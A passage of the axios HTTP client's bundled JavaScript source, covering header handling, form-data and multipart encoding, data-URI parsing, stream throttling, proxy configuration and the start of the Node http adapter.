Blob !== 'undefined' && Blob || null }, protocols: [ 'http', 'https', 'file', 'data' ] }; const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined'; /** * Determine if we're running in a standard browser environment * * This allows axios to run in a web worker, and react-native. * Both environments support XMLHttpRequest, but not fully standard globals. * * web workers: * typeof window -> undefined * typeof document -> undefined * * react-native: * navigator.product -> 'ReactNative' * nativescript * navigator.product -> 'NativeScript' or 'NS' * * @returns {boolean} */ const hasStandardBrowserEnv = ( (product) => { return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0 })(typeof navigator !== 'undefined' && navigator.product); /** * Determine if we're running in a standard browser webWorker environment * * Although the `isStandardBrowserEnv` method indicates that * `allows axios to run in a web worker`, the WebWorker will still be * filtered out due to its judgment standard * `typeof window !== 'undefined' && typeof document !== 'undefined'`. * This leads to a problem when axios post `FormData` in webWorker */ const hasStandardBrowserWebWorkerEnv = (() => { return ( typeof WorkerGlobalScope !== 'undefined' && // eslint-disable-next-line no-undef self instanceof WorkerGlobalScope && typeof self.importScripts === 'function' ); })(); const origin = hasBrowserEnv && window.location.href || 'http://localhost'; const utils = /*#__PURE__*/Object.freeze({ __proto__: null, hasBrowserEnv: hasBrowserEnv, hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv, hasStandardBrowserEnv: hasStandardBrowserEnv, origin: origin }); const platform = { ...utils, ...platform$1 }; function toURLEncodedForm(data, options) { return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({ visitor: function(value, key, path, helpers) { if (platform.isNode && utils$1.isBuffer(value)) { this.append(key, value.toString('base64')); return false; } return helpers.defaultVisitor.apply(this, arguments); } }, options)); } /** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */ function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => { return match[0] === '[]' ? '' : match[1] || match[0]; }); } /** * Convert an array to an object. * * @param {Array<any>} arr - The array to convert to an object. * * @returns An object with the same keys and values as the array. */ function arrayToObject(arr) { const obj = {}; const keys = Object.keys(arr); let i; const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; obj[key] = arr[key]; } return obj; } /** * It takes a FormData object and returns a JavaScript object * * @param {string} formData The FormData object to convert to JSON. * * @returns {Object<string, any> | null} The converted object. */ function formDataToJSON(formData) { function buildPath(path, value, target, index) { let name = path[index++]; if (name === '__proto__') return true; const isNumericKey = Number.isFinite(+name); const isLast = index >= path.length; name = !name && utils$1.isArray(target) ? target.length : name; if (isLast) { if (utils$1.hasOwnProp(target, name)) { target[name] = [target[name], value]; } else { target[name] = value; } return !isNumericKey; } if (!target[name] || !utils$1.isObject(target[name])) { target[name] = []; } const result = buildPath(path, value, target[name], index); if (result && utils$1.isArray(target[name])) { target[name] = arrayToObject(target[name]); } return !isNumericKey; } if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) { const obj = {}; utils$1.forEachEntry(formData, (name, value) => { buildPath(parsePropPath(name), value, obj, 0); }); return obj; } return null; } /** * It takes a string, tries to parse it, and if it fails, it returns the stringified version * of the input * * @param {any} rawValue - The value to be stringified. * @param {Function} parser - A function that parses a string into a JavaScript object. * @param {Function} encoder - A function that takes a value and returns a string. * * @returns {string} A stringified version of the rawValue. */ function stringifySafely(rawValue, parser, encoder) { if (utils$1.isString(rawValue)) { try { (parser || JSON.parse)(rawValue); return utils$1.trim(rawValue); } catch (e) { if (e.name !== 'SyntaxError') { throw e; } } } return (encoder || JSON.stringify)(rawValue); } const defaults = { transitional: transitionalDefaults, adapter: ['xhr', 'http', 'fetch'], transformRequest: [function transformRequest(data, headers) { const contentType = headers.getContentType() || ''; const hasJSONContentType = contentType.indexOf('application/json') > -1; const isObjectPayload = utils$1.isObject(data); if (isObjectPayload && utils$1.isHTMLForm(data)) { data = new FormData(data); } const isFormData = utils$1.isFormData(data); if (isFormData) { return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; } if (utils$1.isArrayBuffer(data) || utils$1.isBuffer(data) || utils$1.isStream(data) || utils$1.isFile(data) || utils$1.isBlob(data) || utils$1.isReadableStream(data) ) { return data; } if (utils$1.isArrayBufferView(data)) { return data.buffer; } if (utils$1.isURLSearchParams(data)) { headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false); return data.toString(); } let isFileList; if (isObjectPayload) { if (contentType.indexOf('application/x-www-form-urlencoded') > -1) { return toURLEncodedForm(data, this.formSerializer).toString(); } if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) { const _FormData = this.env && this.env.FormData; return toFormData( isFileList ? {'files[]': data} : data, _FormData && new _FormData(), this.formSerializer ); } } if (isObjectPayload || hasJSONContentType ) { headers.setContentType('application/json', false); return stringifySafely(data); } return data; }], transformResponse: [function transformResponse(data) { const transitional = this.transitional || defaults.transitional; const forcedJSONParsing = transitional && transitional.forcedJSONParsing; const JSONRequested = this.responseType === 'json'; if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) { return data; } if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { const silentJSONParsing = transitional && transitional.silentJSONParsing; const strictJSONParsing = !silentJSONParsing && JSONRequested; try { return JSON.parse(data); } catch (e) { if (strictJSONParsing) { if (e.name === 'SyntaxError') { throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response); } throw e; } } } return data; }], /** * A timeout in milliseconds to abort a request. If set to 0 (default) a * timeout is not created. */ timeout: 0, xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', maxContentLength: -1, maxBodyLength: -1, env: { FormData: platform.classes.FormData, Blob: platform.classes.Blob }, validateStatus: function validateStatus(status) { return status >= 200 && status < 300; }, headers: { common: { 'Accept': 'application/json, text/plain, */*', 'Content-Type': undefined } } }; utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => { defaults.headers[method] = {}; }); const defaults$1 = defaults; // RawAxiosHeaders whose duplicates are ignored by node // c.f. https://nodejs.org/api/http.html#http_message_headers const ignoreDuplicateOf = utils$1.toObjectSet([ 'age', 'authorization', 'content-length', 'content-type', 'etag', 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since', 'last-modified', 'location', 'max-forwards', 'proxy-authorization', 'referer', 'retry-after', 'user-agent' ]); /** * Parse headers into an object * * ``` * Date: Wed, 27 Aug 2014 08:58:49 GMT * Content-Type: application/json * Connection: keep-alive * Transfer-Encoding: chunked * ``` * * @param {String} rawHeaders Headers needing to be parsed * * @returns {Object} Headers parsed into an object */ const parseHeaders = rawHeaders => { const parsed = {}; let key; let val; let i; rawHeaders && rawHeaders.split('\n').forEach(function parser(line) { i = line.indexOf(':'); key = line.substring(0, i).trim().toLowerCase(); val = line.substring(i + 1).trim(); if (!key || (parsed[key] && ignoreDuplicateOf[key])) { return; } if (key === 'set-cookie') { if (parsed[key]) { parsed[key].push(val); } else { parsed[key] = [val]; } } else { parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val; } }); return parsed; }; const $internals = Symbol('internals'); function normalizeHeader(header) { return header && String(header).trim().toLowerCase(); } function normalizeValue(value) { if (value === false || value == null) { return value; } return utils$1.isArray(value) ? value.map(normalizeValue) : String(value); } function parseTokens(str) { const tokens = Object.create(null); const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; let match; while ((match = tokensRE.exec(str))) { tokens[match[1]] = match[2]; } return tokens; } const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim()); function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) { if (utils$1.isFunction(filter)) { return filter.call(this, value, header); } if (isHeaderNameFilter) { value = header; } if (!utils$1.isString(value)) return; if (utils$1.isString(filter)) { return value.indexOf(filter) !== -1; } if (utils$1.isRegExp(filter)) { return filter.test(value); } } function formatHeader(header) { return header.trim() .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => { return char.toUpperCase() + str; }); } function buildAccessors(obj, header) { const accessorName = utils$1.toCamelCase(' ' + header); ['get', 'set', 'has'].forEach(methodName => { Object.defineProperty(obj, methodName + accessorName, { value: function(arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); }, configurable: true }); }); } class AxiosHeaders { constructor(headers) { headers && this.set(headers); } set(header, valueOrRewrite, rewrite) { const self = this; function setHeader(_value, _header, _rewrite) { const lHeader = normalizeHeader(_header); if (!lHeader) { throw new Error('header name must be a non-empty string'); } const key = utils$1.findKey(self, lHeader); if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) { self[key || _header] = normalizeValue(_value); } } const setHeaders = (headers, _rewrite) => utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite)); if (utils$1.isPlainObject(header) || header instanceof this.constructor) { setHeaders(header, valueOrRewrite); } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) { setHeaders(parseHeaders(header), valueOrRewrite); } else if (utils$1.isHeaders(header)) { for (const [key, value] of header.entries()) { setHeader(value, key, rewrite); } } else { header != null && setHeader(valueOrRewrite, header, rewrite); } return this; } get(header, parser) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); if (key) { const value = this[key]; if (!parser) { return value; } if (parser === true) { return parseTokens(value); } if (utils$1.isFunction(parser)) { return parser.call(this, value, key); } if (utils$1.isRegExp(parser)) { return parser.exec(value); } throw new TypeError('parser must be boolean|regexp|function'); } } } has(header, matcher) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher))); } return false; } delete(header, matcher) { const self = this; let deleted = false; function deleteHeader(_header) { _header = normalizeHeader(_header); if (_header) { const key = utils$1.findKey(self, _header); if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) { delete self[key]; deleted = true; } } } if (utils$1.isArray(header)) { header.forEach(deleteHeader); } else { deleteHeader(header); } return deleted; } clear(matcher) { const keys = Object.keys(this); let i = keys.length; let deleted = false; while (i--) { const key = keys[i]; if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) { delete this[key]; deleted = true; } } return deleted; } normalize(format) { const self = this; const headers = {}; utils$1.forEach(this, (value, header) => { const key = utils$1.findKey(headers, header); if (key) { self[key] = normalizeValue(value); delete self[header]; return; } const normalized = format ? formatHeader(header) : String(header).trim(); if (normalized !== header) { delete self[header]; } self[normalized] = normalizeValue(value); headers[normalized] = true; }); return this; } concat(...targets) { return this.constructor.concat(this, ...targets); } toJSON(asStrings) { const obj = Object.create(null); utils$1.forEach(this, (value, header) => { value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value); }); return obj; } [Symbol.iterator]() { return Object.entries(this.toJSON())[Symbol.iterator](); } toString() { return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n'); } get [Symbol.toStringTag]() { return 'AxiosHeaders'; } static from(thing) { return thing instanceof this ? thing : new this(thing); } static concat(first, ...targets) { const computed = new this(first); targets.forEach((target) => computed.set(target)); return computed; } static accessor(header) { const internals = this[$internals] = (this[$internals] = { accessors: {} }); const accessors = internals.accessors; const prototype = this.prototype; function defineAccessor(_header) { const lHeader = normalizeHeader(_header); if (!accessors[lHeader]) { buildAccessors(prototype, _header); accessors[lHeader] = true; } } utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header); return this; } } AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']); // reserved names hotfix utils$1.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => { let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set` return { get: () => value, set(headerValue) { this[mapped] = headerValue; } } }); utils$1.freezeMethods(AxiosHeaders); const AxiosHeaders$1 = AxiosHeaders; /** * Transform the data for a request or a response * * @param {Array|Function} fns A single function or Array of functions * @param {?Object} response The response object * * @returns {*} The resulting transformed data */ function transformData(fns, response) { const config = this || defaults$1; const context = response || config; const headers = AxiosHeaders$1.from(context.headers); let data = context.data; utils$1.forEach(fns, function transform(fn) { data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); headers.normalize(); return data; } function isCancel(value) { return !!(value && value.__CANCEL__); } /** * A `CanceledError` is an object that is thrown when an operation is canceled. * * @param {string=} message The message. * @param {Object=} config The config. * @param {Object=} request The request. * * @returns {CanceledError} The created error. */ function CanceledError(message, config, request) { // eslint-disable-next-line no-eq-null,eqeqeq AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request); this.name = 'CanceledError'; } utils$1.inherits(CanceledError, AxiosError, { __CANCEL__: true }); /** * Resolve or reject a Promise based on response status. * * @param {Function} resolve A function that resolves the promise. * @param {Function} reject A function that rejects the promise. * @param {object} response The response. * * @returns {object} The response. */ function settle(resolve, reject, response) { const validateStatus = response.config.validateStatus; if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); } else { reject(new AxiosError( 'Request failed with status code ' + response.status, [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], response.config, response.request, response )); } } /** * Determines whether the specified URL is absolute * * @param {string} url The URL to test * * @returns {boolean} True if the specified URL is absolute, otherwise false */ function isAbsoluteURL(url) { // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL). // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed // by any combination of letters, digits, plus, period, or hyphen. return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); } /** * Creates a new URL by combining the specified URLs * * @param {string} baseURL The base URL * @param {string} relativeURL The relative URL * * @returns {string} The combined URL */ function combineURLs(baseURL, relativeURL) { return relativeURL ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '') : baseURL; } /** * Creates a new URL by combining the baseURL with the requestedURL, * only when the requestedURL is not already an absolute URL. * If the requestURL is absolute, this function returns the requestedURL untouched. * * @param {string} baseURL The base URL * @param {string} requestedURL Absolute or relative URL to combine * * @returns {string} The combined full path */ function buildFullPath(baseURL, requestedURL) { if (baseURL && !isAbsoluteURL(requestedURL)) { return combineURLs(baseURL, requestedURL); } return requestedURL; } const VERSION = "1.7.2"; function parseProtocol(url) { const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url); return match && match[1] || ''; } const DATA_URL_PATTERN = /^(?:([^;]+);)?(?:[^;]+;)?(base64|),([\s\S]*)$/; /** * Parse data uri to a Buffer or Blob * * @param {String} uri * @param {?Boolean} asBlob * @param {?Object} options * @param {?Function} options.Blob * * @returns {Buffer|Blob} */ function fromDataURI(uri, asBlob, options) { const _Blob = options && options.Blob || platform.classes.Blob; const protocol = parseProtocol(uri); if (asBlob === undefined && _Blob) { asBlob = true; } if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); if (!match) { throw new AxiosError('Invalid URL', AxiosError.ERR_INVALID_URL); } const mime = match[1]; const isBase64 = match[2]; const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { if (!_Blob) { throw new AxiosError('Blob is not supported', AxiosError.ERR_NOT_SUPPORT); } return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, AxiosError.ERR_NOT_SUPPORT); } /** * Throttle decorator * @param {Function} fn * @param {Number} freq * @return {Function} */ function throttle(fn, freq) { let timestamp = 0; const threshold = 1000 / freq; let timer = null; return function throttled() { const force = this === true; const now = Date.now(); if (force || now - timestamp > threshold) { if (timer) { clearTimeout(timer); timer = null; } timestamp = now; return fn.apply(null, arguments); } if (!timer) { timer = setTimeout(() => { timer = null; timestamp = Date.now(); return fn.apply(null, arguments); }, threshold - (now - timestamp)); } }; } /** * Calculate data maxRate * @param {Number} [samplesCount= 10] * @param {Number} [min= 1000] * @returns {Function} */ function speedometer(samplesCount, min) { samplesCount = samplesCount || 10; const bytes = new Array(samplesCount); const timestamps = new Array(samplesCount); let head = 0; let tail = 0; let firstSampleTS; min = min !== undefined ? min : 1000; return function push(chunkLength) { const now = Date.now(); const startedAt = timestamps[tail]; if (!firstSampleTS) { firstSampleTS = now; } bytes[head] = chunkLength; timestamps[head] = now; let i = tail; let bytesCount = 0; while (i !== head) { bytesCount += bytes[i++]; i = i % samplesCount; } head = (head + 1) % samplesCount; if (head === tail) { tail = (tail + 1) % samplesCount; } if (now - firstSampleTS < min) { return; } const passed = startedAt && now - startedAt; return passed ? Math.round(bytesCount * 1000 / passed) : undefined; }; } const kInternals = Symbol('internals'); class AxiosTransformStream extends stream__default["default"].Transform{ constructor(options) { options = utils$1.toFlatObject(options, { maxRate: 0, chunkSize: 64 * 1024, minChunkSize: 100, timeWindow: 500, ticksRate: 2, samplesCount: 15 }, null, (prop, source) => { return !utils$1.isUndefined(source[prop]); }); super({ readableHighWaterMark: options.chunkSize }); const self = this; const internals = this[kInternals] = { length: options.length, timeWindow: options.timeWindow, ticksRate: options.ticksRate, chunkSize: options.chunkSize, maxRate: options.maxRate, minChunkSize: options.minChunkSize, bytesSeen: 0, isCaptured: false, notifiedBytesLoaded: 0, ts: Date.now(), bytes: 0, onReadCallback: null }; const _speedometer = speedometer(internals.ticksRate * options.samplesCount, internals.timeWindow); this.on('newListener', event => { if (event === 'progress') { if (!internals.isCaptured) { internals.isCaptured = true; } } }); let bytesNotified = 0; internals.updateProgress = throttle(function throttledHandler() { const totalBytes = internals.length; const bytesTransferred = internals.bytesSeen; const progressBytes = bytesTransferred - bytesNotified; if (!progressBytes || self.destroyed) return; const rate = _speedometer(progressBytes); bytesNotified = bytesTransferred; process.nextTick(() => { self.emit('progress', { loaded: bytesTransferred, total: totalBytes, progress: totalBytes ? (bytesTransferred / totalBytes) : undefined, bytes: progressBytes, rate: rate ? rate : undefined, estimated: rate && totalBytes && bytesTransferred <= totalBytes ? (totalBytes - bytesTransferred) / rate : undefined, lengthComputable: totalBytes != null }); }); }, internals.ticksRate); const onFinish = () => { internals.updateProgress.call(true); }; this.once('end', onFinish); this.once('error', onFinish); } _read(size) { const internals = this[kInternals]; if (internals.onReadCallback) { internals.onReadCallback(); } return super._read(size); } _transform(chunk, encoding, callback) { const self = this; const internals = this[kInternals]; const maxRate = internals.maxRate; const readableHighWaterMark = this.readableHighWaterMark; const timeWindow = internals.timeWindow; const divider = 1000 / timeWindow; const bytesThreshold = (maxRate / divider); const minChunkSize = internals.minChunkSize !== false ? Math.max(internals.minChunkSize, bytesThreshold * 0.01) : 0; function pushChunk(_chunk, _callback) { const bytes = Buffer.byteLength(_chunk); internals.bytesSeen += bytes; internals.bytes += bytes; if (internals.isCaptured) { internals.updateProgress(); } if (self.push(_chunk)) { process.nextTick(_callback); } else { internals.onReadCallback = () => { internals.onReadCallback = null; process.nextTick(_callback); }; } } const transformChunk = (_chunk, _callback) => { const chunkSize = Buffer.byteLength(_chunk); let chunkRemainder = null; let maxChunkSize = readableHighWaterMark; let bytesLeft; let passed = 0; if (maxRate) { const now = Date.now(); if (!internals.ts || (passed = (now - internals.ts)) >= timeWindow) { internals.ts = now; bytesLeft = bytesThreshold - internals.bytes; internals.bytes = bytesLeft < 0 ? -bytesLeft : 0; passed = 0; } bytesLeft = bytesThreshold - internals.bytes; } if (maxRate) { if (bytesLeft <= 0) { // next time window return setTimeout(() => { _callback(null, _chunk); }, timeWindow - passed); } if (bytesLeft < maxChunkSize) { maxChunkSize = bytesLeft; } } if (maxChunkSize && chunkSize > maxChunkSize && (chunkSize - maxChunkSize) > minChunkSize) { chunkRemainder = _chunk.subarray(maxChunkSize); _chunk = _chunk.subarray(0, maxChunkSize); } pushChunk(_chunk, chunkRemainder ? () => { process.nextTick(_callback, null, chunkRemainder); } : _callback); }; transformChunk(chunk, function transformNextChunk(err, _chunk) { if (err) { return callback(err); } if (_chunk) { transformChunk(_chunk, transformNextChunk); } else { callback(null); } }); } setLength(length) { this[kInternals].length = +length; return this; } } const AxiosTransformStream$1 = AxiosTransformStream; const {asyncIterator} = Symbol; const readBlob = async function* (blob) { if (blob.stream) { yield* blob.stream(); } else if (blob.arrayBuffer) { yield await blob.arrayBuffer(); } else if (blob[asyncIterator]) { yield* blob[asyncIterator](); } else { yield blob; } }; const readBlob$1 = readBlob; const BOUNDARY_ALPHABET = utils$1.ALPHABET.ALPHA_DIGIT + '-_'; const textEncoder = new util.TextEncoder(); const CRLF = '\r\n'; const CRLF_BYTES = textEncoder.encode(CRLF); const CRLF_BYTES_COUNT = 2; class FormDataPart { constructor(name, value) { const {escapeName} = this.constructor; const isStringValue = utils$1.isString(value); let headers = `Content-Disposition: form-data; name="${escapeName(name)}"${ !isStringValue && value.name ? `; filename="${escapeName(value.name)}"` : '' }${CRLF}`; if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { headers += `Content-Type: ${value.type || "application/octet-stream"}${CRLF}`; } this.headers = textEncoder.encode(headers + CRLF); this.contentLength = isStringValue ? value.byteLength : value.size; this.size = this.headers.byteLength + this.contentLength + CRLF_BYTES_COUNT; this.name = name; this.value = value; } async *encode(){ yield this.headers; const {value} = this; if(utils$1.isTypedArray(value)) { yield value; } else { yield* readBlob$1(value); } yield CRLF_BYTES; } static escapeName(name) { return String(name).replace(/[\r\n"]/g, (match) => ({ '\r' : '%0D', '\n' : '%0A', '"' : '%22', }[match])); } } const formDataToStream = (form, headersHandler, options) => { const { tag = 'form-data-boundary', size = 25, boundary = tag + '-' + utils$1.generateString(size, BOUNDARY_ALPHABET) } = options || {}; if(!utils$1.isFormData(form)) { throw TypeError('FormData instance required'); } if (boundary.length < 1 || boundary.length > 70) { throw Error('boundary must be 10-70 characters long') } const boundaryBytes = textEncoder.encode('--' + boundary + CRLF); const footerBytes = textEncoder.encode('--' + boundary + '--' + CRLF + CRLF); let contentLength = footerBytes.byteLength; const parts = Array.from(form.entries()).map(([name, value]) => { const part = new FormDataPart(name, value); contentLength += part.size; return part; }); contentLength += boundaryBytes.byteLength * parts.length; contentLength = utils$1.toFiniteNumber(contentLength); const computedHeaders = { 'Content-Type': `multipart/form-data; boundary=${boundary}` }; if (Number.isFinite(contentLength)) { computedHeaders['Content-Length'] = contentLength; } headersHandler && headersHandler(computedHeaders); return stream.Readable.from((async function *() { for(const part of parts) { yield boundaryBytes; yield* part.encode(); } yield footerBytes; })()); }; const formDataToStream$1 = formDataToStream; class ZlibHeaderTransformStream extends stream__default["default"].Transform { __transform(chunk, encoding, callback) { this.push(chunk); callback(); } _transform(chunk, encoding, callback) { if (chunk.length !== 0) { this._transform = this.__transform; // Add Default Compression headers if no zlib headers are present if (chunk[0] !== 120) { // Hex: 78 const header = Buffer.alloc(2); header[0] = 120; // Hex: 78 header[1] = 156; // Hex: 9C this.push(header, encoding); } } this.__transform(chunk, encoding, callback); } } const ZlibHeaderTransformStream$1 = ZlibHeaderTransformStream; const callbackify = (fn, reducer) => { return utils$1.isAsyncFn(fn) ? function (...args) { const cb = args.pop(); fn.apply(this, args).then((value) => { try { reducer ? cb(null, ...reducer(value)) : cb(null, value); } catch (err) { cb(err); } }, cb); } : fn; }; const callbackify$1 = callbackify; const zlibOptions = { flush: zlib__default["default"].constants.Z_SYNC_FLUSH, finishFlush: zlib__default["default"].constants.Z_SYNC_FLUSH }; const brotliOptions = { flush: zlib__default["default"].constants.BROTLI_OPERATION_FLUSH, finishFlush: zlib__default["default"].constants.BROTLI_OPERATION_FLUSH }; const isBrotliSupported = utils$1.isFunction(zlib__default["default"].createBrotliDecompress); const {http: httpFollow, https: httpsFollow} = followRedirects__default["default"]; const isHttps = /https:?/; const supportedProtocols = platform.protocols.map(protocol => { return protocol + ':'; }); /** * If the proxy or config beforeRedirects functions are defined, call them with the options * object. * * @param {Object<string, any>} options - The options object that was passed to the request. * * @returns {Object<string, any>} */ function dispatchBeforeRedirect(options, responseDetails) { if (options.beforeRedirects.proxy) { options.beforeRedirects.proxy(options); } if (options.beforeRedirects.config) { options.beforeRedirects.config(options, responseDetails); } } /** * If the proxy or config afterRedirects functions are defined, call them with the options * * @param {http.ClientRequestArgs} options * @param {AxiosProxyConfig} configProxy configuration from Axios options object * @param {string} location * * @returns {http.ClientRequestArgs} */ function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = proxyFromEnv.getProxyForUrl(location); if (proxyUrl) { proxy = new URL(proxyUrl); } } if (proxy) { // Basic proxy authorization if (proxy.username) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (proxy.auth) { // Support proxy auth object form if (proxy.auth.username || proxy.auth.password) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } const base64 = Buffer .from(proxy.auth, 'utf8') .toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; } options.headers.host = options.hostname + (options.port ? ':' + options.port : ''); const proxyHost = proxy.hostname || proxy.host; options.hostname = proxyHost; // Replace 'host' since options is not a URL object options.host = proxyHost; options.port = proxy.port; options.path = location; if (proxy.protocol) { options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`; } } options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) { // Configure proxy for redirected request, passing the original config proxy to apply // the exact same logic as if the redirected request was performed by axios directly. setProxy(redirectOptions, configProxy, redirectOptions.href); }; } const isHttpAdapterSupported = typeof process !== 'undefined' && utils$1.kindOf(process) === 'process'; // temporary hotfix const wrapAsync = (asyncExecutor) => { return new Promise((resolve, reject) => { let onDone; let isDone; const done = (value, isRejected) => { if (isDone) return; isDone = true; onDone && onDone(value, isRejected); }; const _resolve = (value) => { done(value); resolve(value); }; const _reject = (reason) => { done(reason, true); reject(reason); }; asyncExecutor(_resolve, _reject, (onDoneHandler) => (onDone = onDoneHandler)).catch(_reject); }) }; const resolveFamily = ({address, family}) => { if (!utils$1.isString(address)) { throw TypeError('address must be a string'); } return ({ address, family: family || (address.indexOf('.') < 0 ? 6 : 4) }); }; const buildAddressEntry = (address, family) => resolveFamily(utils$1.isObject(address) ? address : {address, family}); /*eslint consistent-return:0*/ const httpAdapter = isHttpAdapterSupported && function httpAdapter(config) { return wrapAsync(async function dispatchHttpRequest(resolve, reject, onDone) { let {data, lookup, family} = config; const {responseType, responseEncoding} = config; const method = config.method.toUpperCase(); let isDone; let rejected = false; let req; if (lookup) { const _lookup = callbackify$1(lookup, (value) => utils$1.isArray(value) ? value : [value]); // hotfix to support opt.all option which is required for node 20.x lookup = (hostname, opt, cb) => { _lookup(hostname, opt, (err, arg0, arg1) => { if (err) { return cb(err); } const addresses = utils$1.isArray(arg0) ? arg0.map(addr => buildAddressEntry(addr)) : [buildAddressEntry(arg0, arg1)]; opt.all ? cb(err, addresses) : cb(err, addresses[0].address, addresses[0].family); }); }; } // temporary internal emitter until the AxiosRequest class will be implemented const emitter = new events.EventEmitter(); const onFinished = () => { if (config.cancelToken) { config.cancelToken.unsubscribe(abort); } if (config.signal) { config.signal.removeEventListener('abort', abort); } emitter.removeAllListeners(); }; onDone((value, isRejected) => { isDone = true; if (isRejected) { rejected = true; onFinished(); } }); function abort(reason) { emitter.emit('abort', !reason || reason.type ? new CanceledError(null, config, req) : reason); } emitter.once('abort', reject); if (config.cancelToken || config.signal) { config.cancelToken && config.cancelToken.subscribe(abort); if (config.signal) { config.signal.aborted ? abort() : config.signal.addEventListener('abort', abort); } } // Parse url const fullPath = buildFullPath(config.baseURL, config.url); const parsed = new URL(fullPath, 'http://localhost'); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, statusText: 'method not allowed', headers: {}, config }); } try { convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); } catch (err) { throw AxiosError.from(err, AxiosError.ERR_BAD_REQUEST, config); } if (responseType === 'text') { convertedData = convertedData.toString(responseEncoding); if (!responseEncoding || responseEncoding === 'utf8') { convertedData = utils$1.stripBOM(convertedData); } } else if (responseType === 'stream') { convertedData = stream__default["default"].Readable.from(convertedData); } return settle(resolve, reject, { data: convertedData, status: 200, statusText: 'OK', headers: new AxiosHeaders$1(), config }); } if (supportedProtocols.indexOf(protocol) === -1) { return reject(new AxiosError( 'Unsupported protocol ' + protocol, AxiosError.ERR_BAD_REQUEST, config )); } const headers = AxiosHeaders$1.from(config.headers).normalize(); // Set User-Agent (required by some servers) // See https://github.com/axios/axios/issues/69 // User-Agent is specified; handle case where no UA header is desired // Only set header if it hasn't been set in config headers.set('User-Agent', 'axios/' + VERSION, false); const onDownloadProgress = config.onDownloadProgress; const onUploadProgress = config.onUploadProgress; const maxRate = config.maxRate; let maxUploadRate = undefined; let maxDownloadRate = undefined; // support for spec compliant FormData objects if (utils$1.isSpecCompliantForm(data)) { const userBoundary = headers.getContentType(/boundary=([-_\w\d]{10,70})/i); data = formDataToStream$1(data, (formHeaders) => { headers.set(formHeaders); }, { tag: `axios-${VERSION}-boundary`, boundary: userBoundary && userBoundary[1] || undefined }); // support for https://www.npmjs.com/package/form-data api } else if (utils$1.isFormData(data) && utils$1.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); if (!headers.hasContentLength()) { try { const knownLength = await util__default["default"].promisify(data.getLength).call(data); Number.isFinite(knownLength) && knownLength >= 0 && headers.setContentLength(knownLength); /*eslint no-empty:0*/ } catch (e) { } } } else if (utils$1.isBlob(data)) { data.size && 